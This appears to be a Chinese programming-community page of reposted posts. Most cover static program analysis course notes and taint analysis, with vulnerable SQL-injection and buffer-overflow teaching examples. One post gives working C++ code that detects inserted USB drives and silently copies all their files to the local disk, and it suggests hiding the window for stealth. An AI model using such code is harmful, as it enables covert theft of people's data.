    现在,我们可以回想一下,数据流分析的目标是,最后得到了,每个程序点关联一个数据流值(该点所有可能的程序状态的一个抽象表示,也就是这个n位向量)。在这个过程中,我们对个基本块,不断利用基于转换规则的语义(也就是transfer functions,构成基本块的语句集)-OUT[B]、控制流的约束-IN[B],最终得到一个稳定的安全的近似约束集。
    (4)算法会停止吗?OUT[B]=genBU(IN[B]−killB)OUT[B] = gen_B U (IN[B] - kill_B)OUT[B]=gen​B​​U(IN[B]−kill​B​​)大致理解:genB和 killB是不变的,只有IN[B]在变化,所以说OUT[B]只会增加不会减少,n向量长度是有限的,所以最终肯定会停止。具体涉及到不动点证明,后续课程会讲解。
    4.Live Variables Analysis (may analysis)问题定义:某程序点p处的变量v,从p开始到exit块的CFG中是否有某条路径用到了v,如果用到了v,则v在p点为live,否则为dead。其中有一个隐含条件,在点p和引用点之间不能重定义v。

    应用场景:可用于寄存器分配,如果寄存器满了,就需要替换掉不会被用到的变量。
    抽象表示:程序中的n个变量用长度为n bit的向量来表示,对应bit为1,则该变量为live,反之为0则为dead。
    (1)公式分析Control Flow:OUT[B]=USa successor of BIN[S]OUT[B] = U_{S_{a \space successor \space of \space B}} IN[S]OUT[B]=U​S​a successor of B​​​​IN[S]
    理解:我们是前向分析,只要有一条子路是live,父节点就是live。
    Transfer Function:IN[B]=useBU(OUT[B]−defB)IN[B] = use_B U (OUT[B] - def_B)IN[B]=use​B​​U(OUT[B]−def​B​​)
    理解:IN[B] = 本块中use出现在define之前的变量 U (OUT[B]出口的live情况 - 本块中出现了define的变量)。define指的是定义/赋值。
    特例分析:如以下图所示,第4种情况,v=v-1,实际上use出现在define之前,v是使用的。

    (2)算法目的:输入CFG,计算好每个基本块中的defB(重定义)和useB(出现在重定义之前的使用)。输出每个基本块的IN[B]和OUT[B]。
    方法:首先初始化每个基本块的IN[B]为空集。遍历每一个基本块B,按以上两个公式计算块B的OUT[B]和IN[B],只要这次遍历时有某个块的IN[B]发生变化,则重新遍历一次(因为有循环,只要某块的IN[B]变了,就意味前驱块的OUT[B]变了)。
    问题:遍历基本块的顺序有要求吗? 没有要求,但是会影响遍历的次数。

    初始化规律:一般情况下,may analysis 全部初始化为空,must analysis全部初始化为all。
    (3)实例抽象表示:程序中的n个变量用长度为n bit的向量来表示,对应bit为1,则该变量为live,反之为0则为dead。
    说明:从下往上遍历基本块,黑色-初始化;红色-第1次;蓝色-第2次;绿色-第3次。
    结果:3次遍历后,IN[B]不再变化,遍历结束。

    5.Available Expressions Analysis (must analysis)问题定义:程序点p处的表达式x op y可用需满足2个条件,一是从entry到p点必须经过x op y,二是最后一次使用x op y之后,没有重定义操作数x、y。(如果重定义了x 或 y,如x = a op2 b,则原来的表达式x op y中的x或y就会被替代)。
    应用场景:用于优化,检测全局公共子表达式。
    抽象表示:程序中的n个表达式,用长度为n bit的向量来表示,1表示可用,0表示不可用。
    说明:属于forward分析。
    (1)公式分析Transfer Function:OUT[B]=genBU(IN[B]−killB)OUT[B] = gen_B U (IN[B] - kill_B)OUT[B]=gen​B​​U(IN[B]−kill​B​​)
    理解:genB—基本块B中所有新的表达式(并且在这个表达式之后,不能对表达式中出现的变量进行重定义)—>加入到OUT;killB—从IN中删除变量被重新定义的表达式。
    Control Flow:IN[B]=∩Pa predecessor of BOUT[P]IN[B] = \cap_{P_{a \space predecessor \space of \space B}} OUT[P]IN[B]=∩​P​a predecessor of B​​​​OUT[P]
    IN[B]=∩Pa predecessor of BOUT[P]IN[B] = \cap_{P_{a \space predecessor \space of \space B}} OUT[P]IN[B]=∩​P​a predecessor of B​​​​OUT[P]理解:从entry到p点的所有路径都必须经过该表达式。

    问题:该分析为什么属于must analysis呢?因为我们允许有漏报,不能有误报,比如以上示例中,改为x=3,去掉 b=e16*x,该公式会把该表达式识别为不可用。但事实是可用的,因为把x=3替换到表达式中并不影响该表达式的形式。这里虽然漏报了,但是不影响程序分析结果的正确性。
    (2)算法目的:输入CFG,提前计算好genB和killB。
    方法:首先将OUT[entry]初始化为空,所有基本块的OUT[B]初始化为1…1。遍历每一个基本块B,按以上两个公式计算块B的IN[B]和OUT[B],只要这次遍历时有某个块的OUT[B]发生变化,则重新遍历一次(因为有循环,只要某块的OUT[B]变了,就意味后继块的IN[B]变了)。

    (3)实例抽象表示:程序中的n个表达式,用长度为n bit的向量来表示,1表示可用,0表示不可用。
    说明:黑色-初始化;红色-第1次;蓝色-第2次。
    结果:2次遍历后,OUT[B]不再变化,遍历结束。

    6.三种分析技术对比
    问题:怎样判断是May还是Must?
    Reaching Definitions表示只要从赋值语句到点p存在1条路径,则为reaching,结果不一定正确;Live Variables表示只要从点p到Exit存在1条路径使用了变量v,则为live,结果不一定正确;Available Expressions表示从Entry到点p的每一条路径都经过了该表达式,则为available,结果肯定正确。
    0 留言 2020-07-09 10:52:38 奖励30点积分
  • 【课程笔记】南大软件分析课程2——IR


    最近在看“静态分析”技术相关的文章,看到这个系列的笔记和视频教程,感觉介绍得很好,通俗易懂,而且还比较详细,故转载分享,同时也备份保留下,方便自己今后阅读。(PS:建议大家一边看笔记,一边看视频,加深理解)原作者:bsauce原文链接:https://www.jianshu.com/p/acb73f72cf46

    首先非常感谢南京大学李樾和谭添老师的无私分享,之前学习程序分析是看的北大熊英飞老师的ppt,但是很多地方没看懂,正如李樾老师所说的那样,熊英飞老师的授课涵盖非常广,不听课只看ppt的话,理解起来还是很有难度的。但李樾老师的视频就讲解的非常易懂,示例都是精心挑选的,所以墙裂推荐。
    推送门:南大课件 南大视频课程 北大课件

    目录
    编译器和静态分析的关系AST vs IRIR:3-地址代码(3AC)实际静态分析器的3AC—Soot(Java)SSA-静态单赋值基本块(BB)控制流图(CFG)
    1.编译器和静态分析的关系源码->(Scanner - 词法Lexical分析-Regular Expression)->(Parser- 语法Syntax分析-Context-Free Grammar), 生成AST ->(Type Checker - 语义Semantic分析 - Attribute Grammar),生成 Decorated AST -> Translator,生成IR,进行静态分析 -> Code Generator

    2.AST vs IR
    AST :高级,更接近于语法结构,依赖于语言种类,适用于快速类型检查,缺少控制流信息
    IR:低级,更接近于机器码,不依赖语言种类,压缩且简洁,包含控制流信息。是静态分析的基础


    3.IR:3-地址代码(3AC)// 最多1个操作符a+b+3 -> t1 = a+b t2 = t1+3Address: Name:a、b Constant: 3 编译器的临时变量:t1、t2

    4.实际静态分析器的3AC—Soot(Java)Soot-常用的Java静态分析框架
    // java IR(Jimple)基本知识invokespecial:call constructor, call superclass methods, call private methodsinvokevirtual: instance methods call (virtual dispatch)invokeinterface: cannot optimization, checking interface implementationinvokestation:call static methodsJava 7: invokedynamic -> Java static typing, dynamic language runs on JVMmethod signature: class name, return type, method name(parameter1 type, parameter2 type)
    5.SSA-静态单赋值定义:给每一个定义变量一个新的名字,传递到接下来的使用当中,每个变量有1个定义(赋值的目标变量)。

    优点:唯一的变量名可以间接体现程序流信息,简化分析过程;清楚的Define-Use信息。
    缺点:引入很多变量和phi-function;转换为机器码时效率变低(引入很多拷贝操作)。
    6.基本块(BB)定义:只有1个开头入口和1个结尾出口的最长3-地址指令序列。
    识别基本块的算法:首先确定入口指令,第一条指令是入口;任何跳转指令的目标地址是入口;任何跟在跳转指令之后的指令是入口。然后构造基本块,任何基本块包含1个入口指令和其接下来的指令。
    我的想法:对于下1条指令,若该指令不是入口,则可以加入;若该指令有多个出口,则停止加入,否则继续判断下一条指令。

    7.控制流图(CFG)控制流边:基本块A的结尾有跳转指令跳转到基本块B;原始指令序列中,B紧跟着A,且A的结尾不是无条件跳转。

    添加Entry / Exit:没有块跳转到该块 / 没有跳转到其他块。
    0 留言 2020-07-08 13:04:54 奖励30点积分
  • 【课程笔记】南大软件分析课程1——课程介绍


    最近在看“静态分析”技术相关的文章,看到这个系列的笔记和视频教程,感觉介绍得很好,通俗易懂,而且还比较详细,故转载分享,同时也备份保留下,方便自己今后阅读。(PS:建议大家一边看笔记,一边看视频,加深理解)原作者:bsauce原文链接:https://www.jianshu.com/p/8d06766d232c

    首先非常感谢南京大学李樾和谭添老师的无私分享,之前学习程序分析是看的北大熊英飞老师的ppt,但是很多地方没看懂,正如李樾老师所说的那样,熊英飞老师的授课涵盖非常广,不听课只看ppt的话,理解起来还是很有难度的。但李樾老师的视频就讲解的非常易懂,示例都是精心挑选的,所以墙裂推荐。
    推送门:南大课件 南大视频课程 北大课件
    我觉得上这门课,最大的收获就是,锻炼出一种软件分析的程序化思维。之所以做这个笔记,是为了总结和方便回看,毕竟回看笔记比回看视频快很多。
    讲数据流分析的时候,关键是首先抽象表示数据(一般是用向量),然后设计transfer function转换规则和control flow控制流规则,然后遍历基本块,根据这两个规则去计算,一旦某个基本块的抽象表示改变了,则再次遍历一遍。这对于我们以后设计数据流分析算法是很有帮助的,我们需要思考所要解决的问题到底是forward还是backward,是may还是must analysis,这相当于是一个分析模板。

    本课程主要内容:IR,数据流分析,过程间分析,CFL可达性和IFDS,指针分析,抽象解释。
    1.PL—Programming Languages
    理论:语言设计,类型系统,语义和逻辑
    环境:编译器,运行系统
    应用:程序分析,程序验证,程序合成
    技术:抽象解释(Abstract interpretation),数据流分析(Data-flow analysis, ),Hoare logic,Model checking,Symbolic execution等等

    静态分析作用:程序可靠性、程序安全性、编译优化、程序理解(调用关系、类型识别)。
    2.soundness与completeness
    soundness:对程序进行了over-approximate过拟合,不会漏报(有false positives误报)
    completeness:对程序进行了under-approximate欠拟合,不会误报(有false negatives漏报)

    很多重要领域如军工、航天领域,我们追求的是soundness,但是要平衡精度和速度。那么我们绝大多数软件分析方法都做到了completeness,那么只要能证明满足soundness,那么该分析方法就是正确的。
    那么什么样的SA是完美的呢?定义是既overapproximate又underapproximate的SA是完美的。overapproximate也叫sound,underapproximate也叫complete,他们之间的关系可以用一个图很好的表示。


    sound表示报告包含了所有的真实错误,但可能包含了误报的错误,导致误报
    complete表示报告包含的错误都是真实的错误,但可能并未包含全部的错误,造成了漏报

    3.软件分析步骤
    abstraction:抽象值,定义集合(类别)
    Safe-approximation安全近似

    Transfer Functions:对抽象值的操作,转换规则Control flows
    0 留言 2020-07-08 13:04:40 奖励30点积分
  • 编程实现U盘插入自动复制U盘内容到本地

    背景U盘插入计算机后,不用任何操作,程序自动将U盘里的文件都拷贝到本地计算机上。这个功能是我自己开发的“恶魔的结界”系列程序里的一个小功能,至于有什么用,那就看个人的爱好了。在此,只探讨技术,不探讨用途。
    现在,我就对它进行解析,整理成文档,分享给大家。
    实现原理这个程序的实现,可以分成两个部分:

    U盘设备插入的监控,获取U盘盘符
    根据U盘盘符,遍历U盘文件,并进行复制操作

    首先,对U盘设备插入的监控,可以参考我写的 “编程实现监控U盘或者其它移动设备的插入和拔出” 这篇文章,使用方法是对程序添加 WM_DEVICECHANGE 消息处理函数,并根据 DEV_BROADCAST_VOLUME 结构体的 dbcv_unitmask 逻辑单元掩码来计算出插入设备U盘的盘符。
    我们成功获取了U盘盘复制后,也就知道了U盘的路径了。所以,我们使用WIN 32 API 函数 FindFirstFile 和 FindNextFile 从U盘的根目录进行文件遍历,具体的遍历方法解析可以参考本站上其他人写的 “使用FindFirstFile和FindNextFile函数实现文件搜索遍历” 这篇文章。 对于遍历到的文件,我们就调用 CopyFile 函数将它静默拷贝到本地指定的存储路径中。
    这样,经过上述的两步操作,我们就可以实现插入U盘,自动拷贝U盘文件到本地的功能了。
    编码实现U盘插入监控// 监控U盘插入并获取U盘盘符LRESULT CUDiskCopy_TestDlg::OnDeviceChange(WPARAM wParam, LPARAM lParam){ switch (wParam) { // 设备已经插入 case DBT_DEVICEARRIVAL: { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; // 逻辑卷 if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) { // 根据 dbcv_unitmask 计算出设备盘符 PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; DWORD dwDriverMask = lpdbv->dbcv_unitmask; DWORD dwTemp = 1; char szDriver[4] = "A:"; for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) { if (0 < (dwTemp & dwDriverMask)) { // 获取设备盘符, 开始执行拷贝, 从目标设备拷贝到本地上 SearchFile(szDriver); } // 左移1位, 接着判断下一个盘符 dwTemp = (dwTemp << 1); } } break; } default: break; } return 0;}
    U盘文件遍历及拷贝// 遍历文件并复制void SearchFile(char *pszDirectory){ // 搜索指定类型文件 DWORD dwBufferSize = 2048; char *pszFileName = NULL; char *pTempSrc = NULL; WIN32_FIND_DATA FileData = { 0 }; BOOL bRet = FALSE; // 申请动态内存 pszFileName = new char[dwBufferSize]; pTempSrc = new char[dwBufferSize]; // 构造搜索文件类型字符串, *.*表示搜索所有文件类型 ::wsprintf(pszFileName, "%s\\*.*", pszDirectory); // 搜索第一个文件 HANDLE hFile = ::FindFirstFile(pszFileName, &FileData); if (INVALID_HANDLE_VALUE != hFile) { do { // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历 if ('.' == FileData.cFileName[0]) { continue; } // 拼接文件路径 ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName); // 判断是否是目录还是文件 if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 目录, 则继续往下递归遍历文件 SearchFile(pTempSrc); } else { // 文件, 执行复制操作, 复制到本地上 char szNewFile[MAX_PATH] = "C:\\Users\\Desktop\\test\\"; ::lstrcat(szNewFile, FileData.cFileName); ::CopyFile(pTempSrc, szNewFile, FALSE); } // 搜索下一个文件 } while (::FindNextFile(hFile, &FileData)); } // 关闭文件句柄 ::FindClose(hFile); // 释放内存 delete[]pTempSrc; pTempSrc = NULL; delete[]pszFileName; pszFileName = NULL;}
    程序测试我们运行程序后,插入U盘,然后等待一会儿后,我们打开本地上保存U盘拷贝数据的目录,发现成功拷贝U盘里的文件。

    总结为了防止程序在秘密拷贝U盘数据的时候,程序会卡死,所以,可以创建一个多线程,把拷贝文件的操作放到多线程里去执行,这样就不会阻塞主线程了。
    同时,创建本文演示的这个程序还没有对程序的窗口进行隐藏,如果你想要把这个程序做得比较隐蔽的话,可以参考本站上其他人写的 “编程实现MFC程序窗口一运行立马隐藏” 这篇文档,里面有介绍如何一开就隐藏窗口程序。
    参考参考自《Windows黑客编程技术详解》一书
    3 留言 2018-12-20 12:08:31 奖励25点积分
  • 污点分析技术介绍


    最近在看“污点分析”技术相关的文章,看到这篇文章介绍得不错,通俗易懂,而且还比较详细,故转载分享,同时也备份保留下,方便自己今后阅读。
    原文链接:https://github.com/firmianay/CTF-All-In-One/blob/master/doc/5.5_taint_analysis.md

    一、静态污点分析1.1 基本原理污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。
    污点分析常常包括以下几个部分:

    识别污点信息在程序中的产生点(Source点)并对污点信息进行标记
    利用特定的规则跟踪分析污点信息在程序中的传播过程
    在一些关键的程序点(Sink点)检测关键的操作是否会受到污点信息的影响

    举个例子:
    [...]scanf("%d", &x); // Source 点,输入数据被标记为污点信息,并且认为变量 x 是污染的[...]y = x + k; // 如果二元操作的操作数是污染的,那么操作结果也是污染的,所以变量 y 也是污染的[...]x = 0; // 如果一个被污染的变量被赋值为一个常数,那么认为它是未污染的,所以 x 转变成未污染的[...]while (i < y) // Sink 点,如果规定循环的次数不能受程序输入的影响,那么需要检查 y 是否被污染
    然而污点信息不仅可以通过数据依赖传播,还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流,将通过控制依赖传播的信息流称为隐式信息流。
    举个例子:
    if (x > 0) y = 1;else y = 0;
    变量 y 的取值依赖于变量 x 的取值,如果变量 x 是污染的,那么变量 y 也应该是污染的。
    通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞,例如 SQL 注入漏洞:
    String user = getUser();String pass = getPass();String sqlQuery = "select * from login where user='" + user + "' and pass='" + pass + "'";Statement stam = con.createStatement();ResultSetrs = stam.executeQuery(sqlQuery);if (rs.next()) success = true;
    在进行污点分析时,将变量 user 和 pass 标记为污染的,由于变量 sqlQuery 的值受到 user 和 pass 的影响,所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句,于是可以判定程序存在 SQL 注入漏洞。
    使用污点分析检测程序漏洞的工作原理如下图所示:


    基于数据流的污点分析:在不考虑隐式信息流的情况下,可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况,进而检查污点信息是否影响敏感操作
    基于依赖关系的污点分析:考虑隐式信息流,在分析过程中,根据程序中的语句或者指令之间的依赖关系,检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作

    1.2 方法实现静态污点分析系统首先对程序代码进行解析,获得程序代码的中间表示,然后在中间表示的基础上对程序代码进行控制流分析等辅助分析,以获得需要的控制流图、调用图等。在辅助分析的过程中,系统可以利用污点分析规则在中间表示上识别程序中的 Source 点和 Sink 点。最后检测系统根据污点分析规则,利用静态污点分析检查程序是否存在污点类型的漏洞。
    1.2.1 基于数据流的污点分析在基于数据流的污点分析中,常常需要一些辅助分析技术,例如别名分析、取值分析等,来提高分析精度。辅助分析和污点分析交替进行,通常沿着程序路径的方向分析污点信息的流向,检查 Source 点处程序接收的污点信息是否会影响到 Sink 点处的敏感操作。
    过程内的分析中,按照一定的顺序分析过程内的每一条语句或者指令,进而分析污点信息的流向。

    记录污点信息:在静态分析层面,程序变量的污染情况为主要关注对象。为记录污染信息,通常为变量添加一个污染标签。最简单的就是一个布尔型变量,表示变量是否被污染。更复杂的标签还可以记录变量的污染信息来自哪些 Source 点,甚至精确到 Source 点接收数据的哪一部分。当然也可以不使用污染标签,这时我们通过对变量进行跟踪的方式达到分析污点信息流向的目的。例如使用栈或者队列来记录被污染的变量
    程序语句的分析:在确定如何记录污染信息后,将对程序语句进行静态分析。通常我们主要关注赋值语句、控制转移语句以及过程调用语句三类:

    赋值语句

    对于简单的赋值语句,形如 a = b 这样的,记录语句左端的变量和右端的变量具有相同的污染状态。程序中的常量通常认为是未污染的,如果一个变量被赋值为常量,在不考虑隐式信息流的情况下,认为变量的状态在赋值后是未污染的
    对于形如 a = b + c 这样带有二元操作的赋值语句,通常规定如果右端的操作数只要有一个是被污染的,则左端的变量是污染的(除非右端计算结果为常量)
    对于和数组元素相关的赋值,如果可以通过静态分析确定数组下标的取值或者取值范围,那么就可以精确地判断数组中哪个或哪些元素是污染的。但通常静态分析不能确定一个变量是污染的,那么就简单地认为整个数组都是污染的
    对于包含字段或者包含指针操作的赋值语句,常常需要用到指向分析的分析结果

    控制转移语句

    在分析条件控制转移语句时,首先考虑语句中的路径条件可能是包含对污点数据的限制,在实际分析中常常需要识别这种限制污点数据的条件,以判断这些限制条件是否足够包含程序不会受到攻击。如果得出路径条件的限制是足够的,那么可以将相应的变量标记为未污染的
    对于循环语句,通常规定循环变量的取值范围不能受到输入的影响。例如在语句 for (i = 1; i < k; i++){} 中,可以规定循环的上界 k 不能是污染的

    过程调用语句

    可以使用过程间的分析或者直接应用过程摘要进行分析。污点分析所使用的过程摘要主要描述怎样改变与该过程相关的变量的污染状态,以及对哪些变量的污染状态进行检测。这些变量可以是过程使用的参数、参数的字段或者过程的返回值等。例如在语句 flag = obj.method(str); 中,str 是污染的,那么通过过程间的分析,将变量 obj 的字段 str 标记为污染的,而记录方法的返回值的变量 flag 标记为未污染的
    在实际的过程间分析中,可以对已经分析过的过程构建过程摘要。例如前面的语句,其过程摘要描述为:方法 method 的参数污染状态决定其接收对象的实例域 str 的污染状态,并且它的返回值是未受污染的。那么下一次分析需要时,就可以直接应用摘要进行分析


    代码的遍历:一般情况下,常常使用流敏感的方式或者路径敏感的方式进行遍历,并分析过程中的代码。如果使用流敏感的方式,可以通过对不同路径上的分析结果进行汇集,以发现程序中的数据净化规则。如果使用路径敏感的分析方式,则需要关注路径条件,如果路径条件中涉及对污染变量取值的限制,可认为路径条件对污染数据进行了净化,还可以将分析路径条件对污染数据的限制进行记录,如果在一条程序路径上,这些限制足够保证数据不会被攻击者利用,就可以将相应的变量标记为未污染的

    过程间的分析与数据流过程间分析类似,使用自底向上的分析方法,分析调用图中的每一个过程,进而对程序进行整体的分析。
    1.2.2 基于依赖关系的污点分析在基于依赖关系的污点分析中,首先利用程序的中间表示、控制流图和过程调用图构造程序完整的或者局部的程序的依赖关系。在分析程序依赖关系后,根据污点分析规则,检测 Sink 点处敏感操作是否依赖于 Source 点。
    分析程序依赖关系的过程可以看做是构建程序依赖图的过程。程序依赖图是一个有向图。它的节点是程序语句,它的有向边表示程序语句之间的依赖关系。程序依赖图的有向边常常包括数据依赖边和控制依赖边。在构建有一定规模的程序的依赖图时,需要按需地构建程序依赖关系,并且优先考虑和污点信息相关的程序代码。
    1.3 实例分析在使用污点分析方法检测程序漏洞时,污点数据相关的程序漏洞是主要关注对象,如 SQL 注入漏洞、命令注入漏洞和跨站脚本漏洞等。
    下面是一个存在 SQL 注入漏洞 ASP 程序的例子:
    <% Set pwd = "bar" Set sql1 = "SELECT companyname FROM " & Request.Cookies("hello") Set sql2 = Request.QueryString("foo") MySqlStuff pwd, sql1, sql2 Sub MySqlStuff(password, cmd1, cmd2) Set conn = Server.CreateObject("ADODB.Connection") conn.Provider = "Microsoft.Jet.OLEDB.4.0" conn.Open "c:/webdata/foo.mdb", "foo", password Set rs = conn.Execute(cmd2) Set rs = Server.CreateObject("ADODB.recordset") rs.Open cmd1, conn End Sub%>
    首先对这段代码表示为一种三地址码的形式,例如第 3 行可以表示为:
    a = "SELECT companyname FROM "b = "hello"param0 Requestparam1 bcallCookiesreturn csql1 = a & c
    解析完毕后,需要对程序代码进行控制流分析,这里只包含了一个调用关系(第 5 行)。
    接下来,需要识别程序中的 Source 点和 Sink 点以及初始的被污染的数据。
    具体的分析过程如下:

    调用 Request.Cookies(“hello”) 的返回结果是污染的,所以变量 sql1 也是污染的
    调用 Request.QueryString(“foo”) 的返回结果 sql2 是污染的
    函数 MySqlStuff 被调用,它的参数 sql1,sql2 都是污染的。分了分析函数的处理过程,根据第 6 行函数的声明,标记其参数 cmd1,cmd2 是污染的
    第 10 行是程序的 Sink 点,函数 conn.Execute 执行 SQL 操作,其参数 cmd2 是污染的,进而发现污染数据从 Source 点传播到 Sink 点。因此,认为程序存在 SQL 注入漏洞

    二、动态污点分析2.1 动态污点分析的基本原理动态污点分析是在程序运行的基础上,对数据流或控制流进行监控,从而实现对数据在内存中的显式传播、数据误用等进行跟踪和检测。动态污点分析与静态污点分析的唯一区别在于静态污点分析技术在检测时并不真正运行程序,而是通过模拟程序的执行过程来传播污点标记,而动态污点分析技术需要运行程序,同时实时传播并检测污点标记。
    动态污点分析技术可分为三个部分:

    污点数据标记:程序攻击面是程序接受输入数据的接口集,一般由程序入口点和外部函数调用组成。在污点分析中,来自外部的输入数据会被标记为污点数据。根据输入数据来源的不同,可分为三类:网络输入、文件输入和输入设备输入
    污点动态跟踪:在污点数据标记的基础上,对进程进行指令粒度的动态跟踪分析,分析每一条指令的效果,直至覆盖整个程序的运行过程,跟踪数据流的传播

    动态污点跟踪通常基于以下三种机制

    动态代码插桩:可以跟踪单个进程的污点数据流动,通过在被分析程序中插入分析代码,跟踪污点信息流在进程中的流动方向
    全系统模拟:利用全系统模拟技术,分析模拟系统中每条指令的污点信息扩散路径,可以跟踪污点数据在操作系统内的流动
    虚拟机监视器:通过在虚拟机监视器中增加分析污点信息流的功能,跟踪污点数据在整个客户机中各个虚拟机之间的流动

    污点动态跟踪通常需要影子内存(shadow memory)来映射实际内存的污染情况,从而记录内存区域和寄存器是否是被污染的。对每条语句进行分析的过程中,污点跟踪攻击根据影子内存判断是否存在污点信息的传播,从而对污点信息进行传播并将传播结果保存于影子内存中,进而追踪污点数据的流向
    一般情况下,数据移动类和算数类指令都将造成显示的信息流传播。为了跟踪污点数据的显示传播,需要在每个数据移动指令和算数指令执行前做监控,当指令的结果被其中一个操作数污染后,把结果数据对应的影子内存设置为一个指针,指向源污染点操作数指向的数据结构

    污点误用检查:在正确标记污点数据并对污点数据的传播进行实时跟踪后,就需要对攻击做出正确的检测即检测污点数据是否有非法使用的情况

    动态污点分析的优缺点:

    优点

    误报率较低检测结果的可信度较高。
    缺点

    漏报率较高:由于程序动态运行时的代码覆盖率决定的。平台相关性较高:特定的动态污点分析工具只能够解决在特定平台上运行的程序。资源消耗大:包括空间上和时间上。

    2.2 动态污点分析的方法实现2.2.1 污点数据标记污点数据通常主要是指软件系统所接受的外部输入数据,在计算机中,这些数据可能以内存临时数据的形式存储,也可能以文件的形式存储。当程序需要使用这些数据时,一般通过函数或系统调用来进行数据访问和处理,因此只需要对这些关键函数进行监控,即可得到程序读取或输出了什么污点信息。另外对于网络输入,也需要对网络操作函数进行监控。
    识别出污点数据后,需要对污点进行标记。污点生命周期是指在该生命周期的时间范围内,污点被定义为有效。污点生命周期开始于污点创建时刻,生成污点标记,结束于污点删除时刻,清除污点标记。

    污点创建

    将来自于非可靠来源的数据分配给某寄存器或内存操作数时将已经标记为污点的数据通过运算分配给某寄存器或内存操作数时
    污点删除

    将非污点数据指派给存放污点的寄存器或内存操作数时将污点数据指派给存放污点的寄存器或内存地址时,此时会删除原污点,并创建新污点一些会清除污点痕迹的算数运算或逻辑运算操作时

    2.2.2 污点动态跟踪当污点数据从一个位置传递到另一个位置时,则认为产生了污点传播。污点传播规则:



    指令类型
    传播规则
    举例说明




    拷贝或移动指令
    T(a)<-T(b)
    mov a, b


    算数运算指令
    T(a)<-T(b)
    add a, b


    堆栈操作指令
    T(esp)<-T(a)
    push a


    拷贝或移动类函数调用指令
    T(dst)<-T(src)
    call memcpy


    清零指令
    T(a)<-false
    xor a, a



    注:T(x) 的取值分为 true 和 false 两种,取值为 true 时表示 x 为污点,否则 x 不是污点。
    对于污点信息流,通过污点跟踪和函数监控,已经能够进行污点信息流流动方向的分析。但由于缺少对象级的信息,仅靠指令级的信息流动并不能完全给出要分析的软件的确切行为。因此,需要在函数监控的基础上进行视图重建,如获取文件对象和套接字对象的详细信息,以方便进一步的分析工作。
    根据漏洞分析的实际需求,污点分析应包括两方面的信息:

    污点的传播关系,对于任一污点能够获知其传播情况
    对污点数据进行处理的所有指令信息,包括指令地址、操作码、操作数以及在污点处理过程中这些指令执行的先后顺序等

    污点动态跟踪的实现通常使用:

    影子内存:真实内存中污点数据的镜像,用于存放程序执行的当前时刻所有的有效污点
    污点传播树:用于表示污点的传播关系
    污点处理指令链:用于按时间顺序存储与污点数据处理相关的所有指令

    当遇到会引起污点传播的指令时,首先对指令中的每个操作数都通过污点快速映射查找影子内存中是否存在与之对应的影子污点从而确定其是否为污点数据,然后根据污点传播规则得到该指令引起的污点传播结果,并将传播产生的新污点添加到影子内存和污点传播树中,同时将失效污点对应的影子污点删除。同时由于一条指令是否涉及污点数据的处理,需要在污点分析过程中动态确定,因此需要在污点处理指令链中记录污点数据的指令信息。
    2.2.3 污点误用检查污点敏感点,即 Sink 点,是污点数据有可能被误用的指令或系统调用点,主要分为:

    跳转地址:检查污点数据是否用于跳转对象,如返回地址、函数指针、函数指针偏移等。具体操作是在每个跳转类指令(如call、ret、jmp等)执行前进行监控分析,保证跳转对象不是污点数据所在的内存地址
    格式化字符串:检查污点数据是否用作printf系列函数的格式化字符串参数
    系统调用参数:检查特殊系统调用的特殊参数是否为污点数据
    标志位:跟踪标志位是否被感染,及被感染的标志位是否用于改变程序控制流
    地址:检查数据移动类指令的地址是否被感染

    在进行污点误用检查时,通常需要根据一些漏洞模式来进行检查,首先需要明确常见漏洞在二进制代码上的表现形式,然后将其提炼成漏洞模式,以更有效地指导自动化的安全分析。
    2.3 动态污点分析的实例分析下面我们来看一个使用动态污点分析的方法检测缓冲区溢出漏洞的例子。
    void fun(char *str){ char temp[15]; printf("in strncpy, source: %s\n", str); strncpy(temp, str, strlen(str)); // Sink 点}int main(int argc, char *argv[]){ char source[30]; gets(source); // Source 点 if (strlen(source) < 30) fun(source); else printf("too long string, %s\n", source); return 0;}
    漏洞很明显, 调用 strncpy 函数存在缓冲区溢出。
    程序接受外部输入字符串的二进制代码如下:
    0x08048609 <+51>: lea eax,[ebp-0x2a]0x0804860c <+54>: push eax0x0804860d <+55>: call 0x8048400 <gets@plt>...0x0804862c <+86>: lea eax,[ebp-0x2a]0x0804862f <+89>: push eax0x08048630 <+90>: call 0x8048566 <fun>
    程序调用 strncpy 函数的二进制代码如下:
    0x080485a1 <+59>: push DWORD PTR [ebp-0x2c]0x080485a4 <+62>: call 0x8048420 <strlen@plt>0x080485a9 <+67>: add esp,0x100x080485ac <+70>: sub esp,0x40x080485af <+73>: push eax0x080485b0 <+74>: push DWORD PTR [ebp-0x2c]0x080485b3 <+77>: lea eax,[ebp-0x1b]0x080485b6 <+80>: push eax0x080485b7 <+81>: call 0x8048440 <strncpy@plt>
    首先,在扫描该程序的二进制代码时,能够扫描到 call <gets@plt>,该函数会读入外部输入,即程序的攻击面。确定了攻击面后,我们将分析污染源数据并进行标记,即将 [ebp-0x2a] 数组(即源程序中的source)标记为污点数据。程序继续执行,该污染标记会随着该值的传播而一直传递。在进入 fun() 函数时,该污染标记通过形参实参的映射传递到参数 str 上。然后运行到 Sink 点函数 strncpy()。该函数的第二个参数即 str 和 第三个参数 strlen(str) 都是污点数据。最后在执行 strncpy() 函数时,若设定了相应的漏洞规则(目标数组小于源数组),则漏洞规则将被触发,检测出缓冲区溢出漏洞。
    0 留言 2020-07-07 09:30:59 奖励25点积分
